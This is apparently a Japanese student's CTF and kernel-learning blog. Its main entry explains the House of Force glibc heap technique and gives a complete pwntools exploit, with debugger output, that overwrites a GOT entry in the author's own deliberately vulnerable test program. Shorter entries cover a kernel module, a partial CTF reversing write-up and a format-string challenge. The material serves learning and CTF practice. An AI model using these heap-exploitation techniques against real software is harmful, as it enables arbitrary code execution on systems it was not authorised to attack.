newbieからバイナリアンへ

コンピュータ初心者からバイナリアンを目指す大学生日記

【pwn7.1】House of Force: 使えればいいじゃんな覚書

 

 

 

0: 参考

 

1: イントロ

 ヒープ問を解いているときに使ったテクニックの一つの "House of Force"

自分のために簡単な覚書を書いておく

 

本来ならばソースコードを見て

この部分がこうだからこうやってbypassして。。。

のように進めていくのが筋だが

今回は使えればいいじゃんの考えに基づいて根本的な説明はしない

 

本エントリでは自作の簡単なプログラムと

そのexploitをもとに説明を進める

 

 

 

2: 使用するプログラムと表層解析

使用するメインプログラムは以下の通り

 

// test1.c for House of Force
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

static void win(void)
{
  system("cat /flag");
}

int main(void)
{
  setbuf(stdin,NULL);
  setbuf(stdout,NULL);

  srand(0);
  rand();
  putc('\n',stdout);

  char *buf = malloc(0x300);
  int choice;
  void *p;

  while(1==1){
    printf("1: malloc\n2: free\n3: write\n4: read\n");
    printf("> ");
    fscanf(stdin,"%d",&choice);
    switch(choice){
      case 1:
        printf("size > ");
        fscanf(stdin,"%d",&choice);
        p = malloc(choice);
        printf("[+]allocated %d @ %p\n\n",choice,p);
        break;
      case 2:
        free(p);
        printf("freed @ %p\n\n",p);
        break;
      case 3:
        printf("data > ");
        if(read(0,p,0x400)<=0){
          printf("ERROR\n");
          return 1;
        }
        break;
      case 4:
        printf("data: %s\n",(char*)p);
        break;
      default:
        printf("Invalid\n\n");
        break;
    }
  }

  return 0;
}

 

バイナリ情報は以下の通り

./test1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=918b4e3348802af9ccaade8ece04a53cd5f8df60, not stripped
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)




3: House of Force: 概要

制約:

・heap overflow等でtop_chunkのsize 8byteを書き換えることができる

top_chunkのアドレスをleakできる

任意のサイズでmalloc()できる

(・任意の値をmalloc先に書き込むことができる)

 

なお上のプログラムはこれらの条件を満たすように作られている

 

 

できること:

任意の場所(8byte align)にchunkを作ることができる

 

方法:

mallocをする際には

tcache, fastbins, unsortedbin, largebinに合うサイズのbinがあるかを探し

そこになければtop_chunkと呼ばれる領域から切り出すことになる

なおtop_chunkのサイズが足りなければsysmalloc()を呼んで

brk()かmmap()で新しいtop_chunkを作ることになるのだが

それはおそらく次エントリのHouse of Orangeで利用することになる

 

今回注目するのはtop_chunkからの切り出しである

この切り出し方法は至ってシンプルで

1: 要求サイズとtop_chunkのサイズを比較し十分なら2へ

2: 現在のtop_chunkのアドレス+要求サイズ+0x10へ新たなtop_chunkの情報を書き込む

3: 現在のtop_chunkのアドレスに要求されたchunkを作る

という流れになっている

 

そしてmain_arenaのtop_chunkへのポインタは2で更新された値へと上書きされる

 

以上を踏まえた上で

House of Forceは以下のように行う(と認識している)

1: top_chunkのsizeを大きな値(0xffffffffffffffff等)で上書きする

2: (chunkを作りたいアドレス) - (現在のtop_chunk) - 0x20・・・① の大きさだけmalloc()する

3: もう一度好きなサイズでmalloc()して値を書き込む



肝となるのは2である

top_chunkからの切り出しによってarenaのtop_chunkポインタが更新されると上述した

更新後のポインタの計算式は (現在のtop_chunk) + (要求サイズ) + 0x10 であったから

①の値を要求サイズに当てはめると

更新後のtop_chunk

   = (現在のtop_chunk) + (chunkを作りたいアドレス) - (現在のtop_chunk) - 0x20 + 0x10

   = (chunkを作りたいアドレス) - 0x10

となる

0x10分はmetadataだからユーザに与えられる領域としては

chunkを作りたいアドレスがしっかりと与えられることになる

 

 

なおわざわざtop_chunkのsizeを大きい値で書き換えたのは

GOTや.fini_arrayをoverwriteする場合

これらは当然heap領域よりも若い領域に位置するため

①の値が負になるからである

負数をmalloc()に渡した場合malloc()はそれをunsigned型として認識するため

要求サイズが非常に大きくなる

ここでtop_chunkのサイズが足りなくならないようにするためにsizeを書き換えた




4: 欠点

これで任意のアドレスにchunkを作れるようになった

もしそのchunkに好きな値を書き込めるのならば

これだけでGOT/.fini_array/__free_hook overwrite等ができてしまう

 

但し書き換えたいアドレスの周辺領域は破壊されてしまう

具体的に言うと

・書き換え対象アドレス - 0x8 の 8byte

・書き換え対象アドレス + そのchunkのsize - 0x8 の 8byte

が破壊されてしまう

 

前者はそのchunk自体のsizeデータのため

後者はtop_chunkのsizeデータのためである

 

よってoverwriteをする際にはこれらの領域に

破壊してはいけないデータがないことが前提となる




5: exploit

さて上のプログラムのexploitは以下の通り

 

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./test1"

rhp1 = {"host":"hoge","port":99999}
rhp2 = {'host':"localhost",'port':12300}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

win_addr = 0x400887

def malloc(conn,size,getaddr=True):
  conn.recvuntil("> ")
  conn.sendline("1")
  conn.recvuntil("size > ")
  conn.sendline(str(size))
  if getaddr==True:
    conn.recvuntil("@ ")
    return int(conn.recvline()[:-1],16)

def free(conn):
  conn.recvuntil("> ")
  conn.sendline("2")

def write(conn,data):
  conn.recvuntil("> ")
  conn.sendline("3")
  conn.recvuntil("data > ")
  conn.send(data)

def read(conn):
  conn.recvuntil("> ")
  conn.sendline("4")
  conn.recvuntil("data: ")
  return conn.recvline()

def exploit(conn):
  print("[+]GOT free: "+hex(binf.got["free"]))
  
  addr1 = malloc(conn,0x10)
  print("addr1: "+hex(addr1))
  top_chunk = addr1+0x10
  print("top: "+hex(top_chunk))
  write(conn,"A"*0x10 + p64(0) + p64(0xffffffffffffffff|0x6))
  
  malloc(conn,binf.got["malloc"] - top_chunk - 0x20)
  addr2 = malloc(conn,0x20)
  print("addr2: "+hex(addr2))
  write(conn,p64(win_addr))

  malloc(conn,0x20,getaddr=False)
  
if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()

 

簡単のためにフラグを読んでくれる関数を予め定義してある

 

mainプログラムでは以下のことができる

・任意のサイズをmalloc

・(ほぼ)任意のバイト数を最後にmallocした先に書き込める

・最後にmallocしたデータを読む

・最後にmallocしたchunkをfree()する

 

手順は4で説明したことをほぼ忠実に実装しただけであり

・適当なサイズをmalloc

・top_chunkのsizeを上書き

・arenaのtop_chunkがmallocのGOTを指すように変更

mallocのGOTをwin()にoverwrite

という流れである




少し冗長になるがgdbでの情報も合わせて見てみる

 

まずこれが最初のmallocをした状態のheap

0x188f560 FASTBIN {
  mchunk_prev_size = 0, 
  mchunk_size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x20a81
}
0x188f580 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 133761, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

下のchunkがtop_chunkでありそのsizeは0xe0281である

 

この時点でのarenaの情報は以下の通り

{
  mutex = 0, 
  flags = 0, 
  have_fastchunks = 0, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x80e580, 
  last_remainder = 0x0, 
  bins = {snipped...}, 
  binmap = {0, 0, 0, 0}, 
  next = 0x7f8f340bec40 , 
  next_free = 0x0, 
  attached_threads = 1, 
  system_mem = 135168, 
  max_system_mem = 135168
}

top_chunkは正常な場所を指していることがわかる

 

 

続いてtop_chunkのsizeを上書きした後

0x188f580 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 18446744073709551601, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x188f570 PREV_INUSE {
  mchunk_prev_size = 4702111234474983745, 
  mchunk_size = 4702111234474983745, 
  fd = 0x0, 
  bk = 0xfffffffffffffff1, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

しっかりsizeが更新されている

 

 

 

肝心のmalloc()をした後が以下の通り

pwndbg> arena
{
  mutex = 0, 
  flags = 0, 
  have_fastchunks = 0, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x600f50, 
  last_remainder = 0x0, 
  bins = {snipped}, 
  binmap = {0, 0, 0, 0}, 
  next = 0x7fc8028bbc40 , 
  next_free = 0x0, 
  attached_threads = 1, 
  system_mem = 135168, 
  max_system_mem = 135168
}

top_chunkが更新されGOTを指していることがわかる

 

 

 

続いてもう一度mallocをすることでこの領域にchunkをつくる

このときのGOTの値は以下の通り

pwndbg> telescope 0x600ef8 20
00:0000│              0x600ef8 (_GLOBAL_OFFSET_TABLE_) —▸ 0x600d18 (_DYNAMIC) ◂— 0x1
01:0008│              0x600f00 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7fc802aea170 ◂— 0x0
02:0010│              0x600f08 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7fc8028d8680 (_dl_runtime_resolve_xsave) ◂— push   rbx
03:0018│              0x600f10 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x4006e6 (free@plt+6) ◂— push   0 /* 'h' */
04:0020│              0x600f18 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x7fc80254c1e0 (__isoc99_fscanf) ◂— push   rbx
05:0028│              0x600f20 (_GLOBAL_OFFSET_TABLE_+40) —▸ 0x7fc8025509c0 (puts) ◂— push   r13
06:0030│              0x600f28 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0x400716 (__stack_chk_fail@plt+6) ◂— push   3
07:0038│              0x600f30 (_GLOBAL_OFFSET_TABLE_+56) —▸ 0x7fc8025584d0 (setbuf) ◂— mov    edx, 0x2000
08:0040│              0x600f38 (_GLOBAL_OFFSET_TABLE_+64) —▸ 0x400736 (system@plt+6) ◂— push   5
09:0048│              0x600f40 (_GLOBAL_OFFSET_TABLE_+72) —▸ 0x7fc802534e80 (printf) ◂— sub    rsp, 0xd8
0a:0050│              0x600f48 (_GLOBAL_OFFSET_TABLE_+80) —▸ 0x7fc802558230 (putc) ◂— test   byte ptr [rsi + 0x74], 0x80
0b:0058│              0x600f50 (_GLOBAL_OFFSET_TABLE_+88) —▸ 0x7fc8025e0070 (read) ◂— lea    rax, [rip + 0x2e0881]
0c:0060│              0x600f58 (_GLOBAL_OFFSET_TABLE_+96) ◂— 0x31 /* '1' */
0d:0068│ rax rcx rdx  0x600f60 (_GLOBAL_OFFSET_TABLE_+104) —▸ 0x7fc802567070 (malloc) ◂— push   rbp
0e:0070│              0x600f68 (_GLOBAL_OFFSET_TABLE_+112) —▸ 0x7fc8025143a0 (rand) ◂— sub    rsp, 8
0f:0078│              0x600f70 (data_start) ◂— 0x0
... ↓
11:0088│ rdi          0x600f80 (stdout@@GLIBC_2.2.5) —▸ 0x7fc8028bc760 (_IO_2_1_stdout_) ◂— 0xfbad2887
12:0090│              0x600f88 ◂— 0x1cb95f1
13:0098│              0x600f90 (stdin@@GLIBC_2.2.5) —▸ 0x7fc8028bba00 (_IO_2_1_stdin_) ◂— 0xfbad208b

 

 

これをchunkが作られる前のGOTと比べてみると

00:0000│   0x600ef8 (_GLOBAL_OFFSET_TABLE_) —▸ 0x600d18 (_DYNAMIC) ◂— 0x1
01:0008│   0x600f00 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7f7db40a7170 ◂— 0x0
02:0010│   0x600f08 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7f7db3e95680 (_dl_runtime_resolve_xsave) ◂— push   rbx
03:0018│   0x600f10 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x4006e6 (free@plt+6) ◂— push   0 /* 'h' */
04:0020│   0x600f18 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x7f7db3b091e0 (__isoc99_fscanf) ◂— push   rbx
05:0028│   0x600f20 (_GLOBAL_OFFSET_TABLE_+40) —▸ 0x7f7db3b0d9c0 (puts) ◂— push   r13
06:0030│   0x600f28 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0x400716 (__stack_chk_fail@plt+6) ◂— push   3
07:0038│   0x600f30 (_GLOBAL_OFFSET_TABLE_+56) —▸ 0x7f7db3b154d0 (setbuf) ◂— mov    edx, 0x2000
08:0040│   0x600f38 (_GLOBAL_OFFSET_TABLE_+64) —▸ 0x400736 (system@plt+6) ◂— push   5
09:0048│   0x600f40 (_GLOBAL_OFFSET_TABLE_+72) —▸ 0x7f7db3af1e80 (printf) ◂— sub    rsp, 0xd8
0a:0050│   0x600f48 (_GLOBAL_OFFSET_TABLE_+80) —▸ 0x7f7db3b15230 (putc) ◂— test   byte ptr [rsi + 0x74], 0x80
0b:0058│   0x600f50 (_GLOBAL_OFFSET_TABLE_+88) —▸ 0x7f7db3b9d070 (read) ◂— lea    rax, [rip + 0x2e0881]
0c:0060│   0x600f58 (_GLOBAL_OFFSET_TABLE_+96) —▸ 0x7f7db3ad0bb0 (srandom) ◂— sub    rsp, 8
0d:0068│   0x600f60 (_GLOBAL_OFFSET_TABLE_+104) —▸ 0x7f7db3b24070 (malloc) ◂— push   rbp
0e:0070│   0x600f68 (_GLOBAL_OFFSET_TABLE_+112) —▸ 0x7f7db3ad13a0 (rand) ◂— sub    rsp, 8
0f:0078│   0x600f70 (data_start) ◂— 0x0
... ↓
11:0088│   0x600f80 (stdout@@GLIBC_2.2.5) —▸ 0x7f7db3e79760 (_IO_2_1_stdout_) ◂— 0xfbad2887
12:0090│   0x600f88 ◂— 0x0
13:0098│   0x600f90 (stdin@@GLIBC_2.2.5) —▸ 0x7f7db3e78a00 (_IO_2_1_stdin_) ◂— 0xfbad208b

 

srandomのエントリが破壊されていることがわかる

今回はたまたま使わない関数であったからいいが

(というかそのためにわざわざ必要ないものをインクルードしたのだが)

これのせいでGOT overwriteできないことも割とある



さてchunkもつくれたためあとはwin()の値でoverwriteすればOKである

 

なおsystemの中ではmovaps命令によってstackの16byte alignが強制される

これに引っかかった場合にはoverwriteする値を

win()ではなくwin()+1にすることで

関数プロローグの push $rbp をとばしてstackの大きさを8byte減らしbypassできる

 

 

 

以上のようにexploitすると。。。

 

[+] Opening connection to localhost on port 12300: Done
[+]GOT free: 0x600f10
addr1: 0x2175570
top: 0x2175580
addr2: 0x600f60
[*] Switching to interactive mode
FLAG={thi5_i5_t35t_f1ag}
[+]allocated 32 @ (nil)

 

無事にフラグが取れました



6: アウトロ

制約のところでchunkに好きな値を書き込めることを括弧書きにした

たとえ好きな値が書き込めなかったとしても好きなsizeをmallocできるのであれば

書き込みたい値分の大きさでmalloc()すれば

それなりに任意の値を書き込むことが可能である(と思う)

 

もちろん下3bitがflagとして利用されたり8byte alignされたりで

完全に任意の値を書き込むことは無理だけどね






続く・・・






【LKM 1.1】引数を取れるモジュール

 

 

 

0: 参考

www.oreilly.co.jp

www.oreilly.com

 




1: イントロ

今回はモジュールの基礎に慣れるために

前回のハローモジュールが引数を取れるようにする




2: 引数を取れるモジュール

insmodでは引数をとることができる

引数をモジュール内で利用するには /linux/moduleparam.h をインクルードする必要がある

作ったモジュールは以下の通り

 

#include<linux/module.h>
#include<linux/init.h>
#include<linux/moduleparam.h>

MODULE_LICENSE("GPL v2");
MODULE_AUTHOR("smallkirby");
MODULE_DESCRIPTION("this is hello module which takes parameters");

static char *name = "kirby";
static int num = 4;
module_param(num,int,S_IRUGO);
module_param(name,charp,S_IRUGO);

static __init int hello_init(void)
{
  int ix = 0;
  for(ix=0;ix != num; ++ix){
    printk(KERN_ALERT "Hello, %s",name);
  }
  
  return 0;
}

static __exit void hello_exit(void)
{
  printk(KERN_ALERT "Goodbye, %s.",name);
}

module_init(hello_init);
module_exit(hello_exit); 

 引数を受取り設定するのは module_param()関数

#1には格納先の変数を

#2には型を入れる

この際使用できる型も限られており

文字列へのポインタにはchar*ではなく charp 型を用いる

#3にはパーミッションフラグを入れる

これはlinux/stat.hで定義されている

#in linux/stat.h
#define S_IRWXUGO▸(S_IRWXU|S_IRWXG|S_IRWXO)
#define S_IALLUGO▸(S_ISUID|S_ISGID|S_ISVTX|S_IRWXUGO)
#define S_IRUGO▸▸-(S_IRUSR|S_IRGRP|S_IROTH)
#define S_IWUGO▸▸-(S_IWUSR|S_IWGRP|S_IWOTH)
#define S_IXUGO▸▸-(S_IXUSR|S_IXGRP|S_IXOTH)

 

S_IRUGOsys/moduleに作成される仮想ファイルを読み出し専用にする

基本的には書き込み不可能にするべきらしい

 

あとは前回までとほとんど変わらない内容である

強いて言えばfor文で次のエラーが出た

/home/vagrant/shared_data/work/hello_module_param.c:16:3: error: ‘for’ loop initial declarations are only allowed in C99 or C11 mode
   for(int ix=0;ix != num; ++ix){

この記法は新しめのCじゃないと使えないんだった





 

3: モジュールのインストール

makeしたモジュールをインストールしてみる

引数は以下のように指定する

$ insmod hello_module_param.ko name="KIRBY" num=10

 

そうしてメッセージを見てみると

$ dmesg | tail -n 10
[ 2483.091787] Hello, KIRBY
[ 2483.091810] Hello, KIRBY
[ 2483.091822] Hello, KIRBY
[ 2483.091832] Hello, KIRBY
[ 2483.091843] Hello, KIRBY
[ 2483.091854] Hello, KIRBY
[ 2483.091865] Hello, KIRBY
[ 2483.091875] Hello, KIRBY
[ 2483.091886] Hello, KIRBY
[ 2483.091897] Hello, KIRBY

 

ちゃんと10回表示されているし名前も変更されている





4: アウトロ

そういえばクリーンアップ関数についてだが

そこで設定したメッセージはどうやら

そのモジュールを取り除いて初めて他のモジュールをインストールしたときに

表示されているような気がする





続く・・・・・





【LKM 1.0】 環境整備 ~ hello moduleの作成

 

 

 

0: 参考

www.oreilly.co.jp

www.oreilly.com

 




1: イントロ

なんとなくkernel寄りのことがしたくなったため

kernel moduleをお試しで作っていくことにする

今回は環境の整備と最もシンプルなモジュールを作る




2: 環境整備

VirtualBox + vagrantの環境で開発していく

ゲストOSの情報は以下の通り

$ uname -a
Linux niveapc 4.15.0-60-generic #67-Ubuntu SMP Thu Aug 22 16:55:30 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

 

vagrantの開発環境はなんか手こずったが

scrapboxを見て丁寧にやったら普通に行けたため省略

 

vagrantではinitしてupして初回はboxをDLしてssh接続すればよい

Vagrantファイルの内容は以下の通り

Vagrant.configure("2") do |config|
  config.vm.box = "generic/ubuntu1804"
  config.vm.hostname = "niveapcvagrant"
  config.vm.box_check_update = false
  config.vm.provider "virtualbox" do |vb|
    vb.gui = false
    vb.memory = "4096"
    vb.cpus = 3
    vb.customize ["modifyvm", :id, "--natdnshostresolver1", "on"] #DNS継承
  end
end




3: hello module

moduleをインストールしたときと消去したときに

メッセージを出力するだけのモジュール

 

#include<linux/module.h>

MODULE_LICENSE("GPL v2");
MODULE_AUTHOR("smallkirby");
MODULE_DESCRIPTION("this is hello module");

static __init int hello_init(void)
{
  printk(KERN_ALERT "Hello world");
  return 0;
}

static __exit void hello_exit(void)
{
  printk(KERN_ALERT "Goodbye, kirby.");
  //return 0;
  /* you shouldn't return in this func */
}

module_init(hello_init);
module_exit(hello_exit);

 

モジュールはkernelに直接リンクされるため

kernelのシンボルこそ参照できるものの

基本的にライブラリのシンボルは使えない

この printk() はkernelが提供する出力関数であり

浮動小数が使えないこと以外は基本的にprintfと同じである

 

あとモジュールはカーネル空間で実行されるため

もちろん利用されるstackもカーネルスタックである

よって自動変数はあまり生成せず

動的に確保することが推奨されるようである

 

<追記>

__init宣言は初期化関数であることを明言し

ロード完了後にローダによってメモリが解放される

同様に__exit宣言はクリーンアップ関数であることを明言する

(この宣言はなくても構わないが)クリーンアップ関数が定義されていない場合

カーネルはモジュールの削除を許可しない

 



続いてMakefile

ifeq ($(DEBUG),y)
  DEBFLAGS = -O -g
else
  DEBFLAGS = -O2
endif

#CFLAGS += $(DEBFLAGS) -I$(LDDINCDIR)

ifneq ($(KERNELRELEASE),)
obj-m := hello_module.o

else
  
KERNELDIR ?= /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)

default:
	$(MAKE) -C $(KERNELDIR) M=$(PWD)  modules

endif

clean:
	rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

 

カーネルモジュールのビルドは

カーネルビルドシステムのコンテキスト内で行われなければならない

すなわち普通の作業ディレクトリ内でmakeしてはならない

 

上のMakefileでは

・変数$(KERNELRELEASE)が定義されているか確認する

これが定義されているということはカーネルビルドシステムから呼び出されたということである

・そうでなければ -Cカーネルソースツリーに移動してからmakeする

M=で実際のMakefileを指定する

これによってカーネルビルドシステムのコンテキスト内でワークスペースMakefileを実行できる

・これで呼ばれたMakefileはifneq分岐の中に入ってモジュールが作られる

 

なおなぜか最初にhostOSでビルドしてそれをguestOSに移していたが

それではinsmodの際にInvalid module formatエラーが出る

素直にguestOS内でビルドすれば良い

 

<追記>

モジュールのインストールの際にカーネル

カーネルツリーにおけるvermagic.oとモジュールをリンクさせる

このオブジェクトファイルの情報と一致しないモジュールをインストールしようとすると

Invalid module formatエラーになる




4: モジュールのインストール

こうしてmakeするといろいろなファイルができるが

対象となるのはhello_module.koである

ちなみにhello_module.koの情報は以下の通り

 

# modinfo ./hello_module.ko 
filename:       /home/vagrant/shared_data/./hello_module.ko
description:    this is hello module
author:         smallkirby
license:        GPL v2
srcversion:     C618E0E48058A75265AABF3
depends:        
retpoline:      Y
name:           hello_module
vermagic:       4.15.0-60-generic SMP mod_unload 

 

これをインストールする

# insmod ./hello_module.ko 
# lsmod | grep hello
hello_module           16384  0

さてモジュールmessageを見てみると・・・

# dmesg | tail
[ 2522.175195] hello_module: loading out-of-tree module taints kernel.
[ 2522.175620] Hello world
[ 2583.501734] Goodbye, kirby.

ちょっと怒られたけどちゃんとインストールできたね

でもexitする際のメッセージがもう既に表示されちゃってるのはなんでだろうか

 

気になってshutdownしたあとにもう一度試してみると

[    5.903653] 00:00:00.001638 main     5.2.32_Ubuntu r132056 started. Verbose level = 0
[  115.149294] hello_module: loading out-of-tree module taints kernel.

今度はhelloメッセージすら出力されていない




まあおいおいわかってくるかな






5: アウトロ

進振りは無事に失敗した






続く・・・






【pwn(rev) 6.1】 GuessWhat - TrendMicroCTF2019

 

 

 

0: 参考

 

1: イントロ

9/7に開催されたTrendMicro CTF2019に一応参加した

今回はrev100の問題 GuessWhat.exe

 

f:id:smallkirby:20190909014535p:plain

 

 

 

だいぶ知ってるやつと毛色が違った・・・

 

2: 表層解析

./GuessWhat.exe: PE32 executable (console) Intel 80386, for MS Windows

 

stringsで気になったのは以下のやつ

img.jpg
<!--?xml version='1.0' encoding='UTF-8' standalone='yes'?-->
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestversion="1.0">
  <trustinfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedprivileges>
        <requestedexecutionlevel level="asInvoker" uiaccess="false"></requestedexecutionlevel>
      </requestedprivileges>
    </security>
  </trustinfo>
</assembly>
</pre>



だが慣れないPEということで

この部分はこういうもんなのかなぁと思ってあまり注意を払えなかった。。。

 

 

3: flagっぽいものの入手

VM上のWindows10で実行してみるとすぐ落ちた

ghidraで読むと引数が必要

 

コードを読んで引数 "TM" で実行すると

以下のメッセージが表示される

 

Ok, now you're in :)

V2hhdCBkbyB5b3Uga25vdyBhYm91dCBjaXBoZXJzPwo=?????

Do you have something for me?

 

まんなかの文字列をbase64でデコードすると

What do you know about ciphers?

と表示される

だがここらへんの認証は正直あまりする必要がなく

普通にコードを読めば実行することなく先へすすめる

 

まあそれはさておき "rc4" と入力すると

 

A7A91F1EA45AE0BE03735A09577DA594230BDE854B
Now you have the encrypted string you probably need a key, right?
Take a closer look at the string functions.  

 

ここで暗号文が表示されるのだが文脈的にRC4と思われる

必要なkeyの値だがコードを読むと

わざわざ生成した文字列を上記の文字列で上書きしてしまう関数がある

よってデバッガで上書きされる前に文字列を眺めてみると

"0x7ffffff"

がスタックに入っていた

この文字列がkeyと思われる

 

以下を参考にしてRC4を復号する

 

inaz2.hatenablog.com

 

# -*- coding: utf-8 -*-
#各関数は上のリンクを参考のこと


def KSA(key):

def PRGA(S):

def RC4(data, key):

encrypted_str = "A7A91F1EA45AE0BE03735A09577DA594230BDE854B"
en0 = "\xa7\xa9\x1f\x1e\xa4\x5a\xe0\xbe\x03\x73\x5a\x09\x57\x7d\xa5\x94\x23\x0b\xde\x85\x4b"
key = "0x7fffffff"

print(RC4(en3,key))

 

結果は以下の通り

$ python ./test.py
&N0wu4rEgeTTinGth3re!

 

ここでflagのようなものが表示された

本番ではこれがもうflagと思って提出したがincorrectだった

(何回も形式を変えて提出した。。。)

それから&が先頭ということもあって

この前に何らかの文字列があるんじゃないかとものすごく探した

結局時間内にはこの先に進まなかった。。。

 

4: imgファイルの入手

PEファイルにはELFと違ってリソースセクションがある

ResourceHackerで見てみると以下のように

 

f:id:smallkirby:20190909033553p:plain

 

 

これをzipファイルとして出力保存し

展開しようとすると以下のように

 

f:id:smallkirby:20190909014636p:plain

 

パスワードの入力が求められる

ここでさっきの&N0wu4rEgeTTinGth3re!を入れると解答できる

 

 

展開されて出てくるのが以下のjpgファイル

 

f:id:smallkirby:20190909014535p:plain

ヒトカゲ先輩。。。??)

 

画像検索してみると以下のページにたどり着いた

Shell Meme (Original Memes) by 42Dannybob on DeviantArt

 

対象のファイルを img.jpg

オリジナルの方をimg_original.jpgとする

 

 ファイル情報を見てみると以下の感じ

./img.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 1x1, segment length 16, baseline, precision 8, 670x460, frames 3
./img_original.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 1x1, segment length 16, baseline, precision 8, 670x460, frames 3

 

$ binwalk -e ./img.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
$ exiftool ./img.jpg
ExifTool Version Number         : 10.80
File Name                       : img.jpg
Directory                       : .
File Size                       : 43 kB
File Modification Date/Time     : 2019:09:09 01:43:42+09:00
File Access Date/Time           : 2019:09:09 01:43:58+09:00
File Inode Change Date/Time     : 2019:09:09 01:43:53+09:00
File Permissions                : rw-rw-rw-
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 670
Image Height                    : 460
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 670x460
Megapixels                      : 0.308

 

ここまでは2つのファイルとも全く同じように見える

 

続いて8字以上の文字列を見てみると

 

$ strings ./img.jpg -n8
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
sUtO)>sQtK
-VYb3A41
MysY/_&~VV

 

短い文字列についても目grepしてみると

> q.C{E
> \M8.2F(
> Tt,F?@A
> `O&F.{
> v:aN(d
> Z%r'$
> ]r=(3i
> =*CC(5
> IuupJ\
> {5mN/
> jj]hr
> "zniG

 

なんかCTF{っぽい文字が見える。。。?



2つのファイルのdiffをとってみると

...snipped...
0x00000603 00 45
0x00000604 08 0F
0x00000605 3B E2
0x00000606 0F 07
0x00000608 5C 10
0x00000609 D0 76
0x0000060A 01 3F
0x0000060B FF FC
0x0000060C 00 B9
0x0000060D 08 A0
0x0000060E E7 03
0x0000060F C1 FE
0x00000610 0F 11
0x00000611 FA CF
0x00000612 28 82
0x00000613 7F 1F
0x00000614 10 F4
0x00000615 3F 50
0x00000616 F0 FE
0x00000617 83 20
0x00000618 B1 7F
0x00000619 FF E1
0x0000061A 00 07
0x0000061B E5 63
0x0000061C CD FF
0x0000061E 1F CB
...snipped...

結構なバイトでdiffがある

規則性があるようなないような・・・





うーん、ここまで手がかりなし

なんか適当にやれば見つからないかなぁと思って

ステガノツールで画像をいじったりしてみたが

 

f:id:smallkirby:20190909030650p:plain

 

全然見えてこない

 









つまりました

もうちょい時間立って思いついたり

他の人のwriteup見て理解できたら書きます





続く・・・





【pwn 5.1】 nothing more to say/ secure karte - TWCTF2019(1)

 

 

 

0: 参考

 

github.com

 

ptr-yudai.hatenablog.com

完全に参考にして解き直しました

 

 

 

1. イントロ

8/31~9/2に行われたTokyoWesterns CTFの解き直し

完全にofficialや他の人のwriteup等を参考にして書いたため

自分のアイディアはほぼ皆無

単に解法を自分のためにメモっとくだけの目的です

 

1-2: 表層解析

まずはpwnwarmup問題 "nothing more to say"

./warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=5fc8df188af9d5e2ab28765b036bba276bb1def9, not stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments



内容としては以下の通り

undefined8 main(void)

{
    char local_108 [0x100];
    
    init_proc();
    puts("message to long to show here...");
    gets(local_108);
    printf(local_108);
    return 0x0;
}

getsをしてprintfをするだけのプログラム

SSP無効でFSBがあるためシンプルにいける

 

 

1-3: 方針

stackのアドレスをリークする方法がないから

(あるにはあるがリークとシェルコードの注入を同時にできない)

一瞬どうしようかと思ったが

.bssセクションとかの書き込み可能領域の適当なところに置いとけばいいらしい

 

以下の通りrdi gadgetを探して

$ rp -f ./warmup -r 1 --unique > rdi_gadget.txt
$ cat ./rdi_gadget.txt | grep rdi
0x00400773: pop rdi ; ret  ;  (1 found)

 

